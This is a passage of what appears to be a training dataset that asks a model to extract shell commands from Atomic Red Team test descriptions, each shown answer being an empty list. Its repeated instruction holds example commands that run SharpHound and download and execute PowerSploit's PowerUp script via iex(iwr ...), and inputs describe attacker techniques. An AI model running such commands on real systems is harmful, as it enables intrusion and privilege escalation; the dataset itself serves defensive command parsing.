extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adversaries may use command line tools to discover specific processes in preparation of further attacks. \nExamples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test uses the IOKit API to load a kernel module for macOS.\nHarcoded to use SoftRAID kext\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Check internet connection using PowerShell's Test-NetConnection cmdlet and the ICMP/Ping protocol. The default target is 8.8.8.8 (Google Public DNS).\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.\nUpon successful execution a listing of the policy implemented will display.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test emulates Mimic ransomware's ability to enable multiple RDP sessions per user by modifying the fSingleSessionPerUser value within the Terminal Server registry key. \nSee [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Change Service registry ImagePath of a bengin service to a malicious file\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Common Sudo enumeration methods.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n 